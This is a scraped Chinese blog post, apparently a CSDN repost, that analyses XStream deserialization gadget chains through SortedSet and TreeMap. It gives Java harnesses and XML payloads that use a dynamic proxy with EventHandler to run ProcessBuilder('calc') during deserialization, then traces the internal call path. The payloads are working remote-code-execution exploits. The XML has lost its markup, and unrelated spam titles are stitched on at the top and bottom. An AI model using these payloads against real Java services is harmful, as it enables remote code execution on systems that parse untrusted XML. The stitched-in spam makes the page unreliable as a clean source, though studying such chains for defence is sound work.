当前位置: 首页 > news >正文

石墨网站开发帝国cms做英文网站

石墨网站开发,帝国cms做英文网站,赣州管理中心网站,网站上传图片不成功前文#xff1a;【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客 前言 在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入#xff0c;但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法#xff0c;才能去相应地精心构造对应…前文【Web】浅聊XStream反序列化本源之恶意动态代理注入-CSDN博客 前言 在上一篇文章我们聊到可以用XStream反序列化来进行恶意动态代理的注入但其有一个很大的限制就是必须要知道目标靶机会调用哪个接口的方法才能去相应地精心构造对应接口的动态代理类触发EventHandler从而进行恶意命令执行。 有没有通用性更强的解决方案不需要靶机执行某接口方法只要完成反序列化的过程就可以直接利用呢 自然是有的下面我们就来介绍SortedSet和TreeMap两条链 复现 SortedSetExp.java package com.XStream;import com.thoughtworks.xstream.XStream;import java.io.FileInputStream;public class SortedSetExp {public static void main(String[] args) throws Exception{FileInputStream fileInputStream new FileInputStream(payload.xml);XStream xStream new XStream();xStream.fromXML(fileInputStream);} } payload.xml sorted-setstringfoo/stringdynamic-proxyinterfacejava.lang.Comparable/interfacehandler classjava.beans.EventHandlertarget classjava.lang.ProcessBuildercommandstringcalc/string/command/targetactionstart/action/handler/dynamic-proxy /sorted-set TreeMapExp package com.XStream;import com.thoughtworks.xstream.XStream;import java.io.FileInputStream;public class TreeMapExp {public static void main(String[] args) throws Exception{FileInputStream fileInputStream new FileInputStream(payload2.xml);XStream xStream new XStream();xStream.fromXML(fileInputStream);} }payload2.xml tree-mapentrystringfookey/stringstringfoovalue/string/entryentrydynamic-proxyinterfacejava.lang.Comparable/interfacehandler classjava.beans.EventHandlertarget classjava.lang.ProcessBuildercommandstringcalc/string/command/targetactionstart/action/handler/dynamic-proxystringgood/string/entry /tree-map根源的原理 记住我们的目的只要完成反序列化的过程就可以直接调用动态代理类的Eventhandler#invoke为此我们需要让动态代理类接口的某个方法在反序列化还原过程中自动调用 这里大佬们找到的是Comparable接口的compareTo方法 在TreeMap的put方法里就进行了compareTo方法的调用而下面的两条链其实最后都是依托TreeMap#put来完成反序列化的数据结构还原的这和我们的目标一拍即合。 SortedSet链分析 一开始是HierarchicalStreams.readClassType获取待反序列化类的Class对象前半段和上篇文章讲的一样不作赘述我们直接关注不一样的点 来到DynamicProxyMapper#realClass注意elementName和alias是不相等的 会继续调用super.realClass作为返回值type 跟进 跟进DefaultMapper.realClass取到一个加载的SortedSet类(注意initialize参数为false所以并未初始化) 返回的type就是SortedSet.class 接着进到convertAnother对该类进行实例化 先是进行一个类型转化 mapper.defaultImplementationOf() 用于设定某个接口或抽象类的默认实现以确保在没有显式指定实现的情况下能够使用预设的默认实现。这样可以简化代码中对实现的选择和配置。 成功将SortedSet转化为默认实现类型TreeSet 接着调用lookupConverterForType来取对应的converter这里的this.converterLookup就是XStream 跟进XStream#lookupConverterForType 跟进defaultConverterLookup.lookupConverterForType这里的逻辑是迭代this.converters直到找到能转换出TreeSet类型最后取到converter为TreeSetConverter 然后传参进convert调用 跟进调用TreeSetConverter#unmarshal 跟进调用TreeMapConverter#populateTreeMap顾名思义就是开始填充TreeMap 先创建一个空sortedMap 循环取出所有反序列化完毕的元素存到sortedMap  这个sortedMap只是一个缓存的地方真正的返回值是TreeMap。之后判断JVM是否全部缓存好元素了然后把sortedMap的缓存元素全部放入TreeMap作为反序列化的返回对象 简单跟一跟 最后调用了k(也就是动态代理类)的compareTo方法传入参数是第一个key String 从而进到EventHandler#invoke进行恶意命令的调用这部分和上篇文章讲的一样不再赘述。 TreeMap链分析 先是取到type为java.util.TreeMap 后续type没有进行默认类型转换 取到TreeMapConverter来进行convert还原待反序列化类 最后又进了TreeMapConverter#populateTreeMap来到了熟悉的环节后面就和上面讲的一样了不再赘述
http://www.hkea.cn/news/14488687/

相关文章:

  • 专门为98k做的网站杭州网站制作公司排名
  • 做网站的公司地址网站无法打开网页是怎么回事
  • 设计制作网站的公司有哪些做企业网站的
  • 鹤壁公司做网站市场营销价格策略
  • 榆次网站建设网站通栏设计素材
  • 在阿里云做的网站怎么进后台推广下载app
  • 做网站与全网营销搜索推广排名优化网站是怎么赢利的
  • 百度打开百度搜索整站seo怎么做
  • 电商网站可以用dw做搜索引擎优化介绍
  • 凯杰建设有限公司官方网站域名可以绑定网站吗
  • 燕十八html教程网站建设asp网站开发教程pdf
  • wordpress只能做博客吗巩义企业网站快速优化多少钱
  • 做前端常用的网站及软件南戴河区网站建设哪家好
  • 国内十大网站建设公司排名google app engine wordpress
  • 开发一个网站系统报价济南建设网站平台
  • 网站制作建设公司推荐常州网站公司怎么选
  • 做360手机网站优化免费发布推广的平台有哪些
  • 做花语的网站wordpress添加优酷视频播放器
  • 游戏型网站开发想做分销商有什么平台
  • 广东做网站公司南昌seo优化公司
  • 襄阳网站开发wordpress登陆界面
  • 做网站一定要云解析吗学广告设计需要什么学历
  • 做百度手机网站点击wordpress全景图
  • 企业形象通用网站价格低的形容词
  • 网站的优势和劣势网站建设营销推广工作
  • 一个网站怎么做镜像站榆林seo
  • 淄博专业网站设计wordpress 单页 主题
  • 清河做网站多少钱苏州 网站制作公司
  • 住房和城乡建设部官方网站可以做雷达图的网站
  • 公司网络维护主要做什么泉州百度seo公司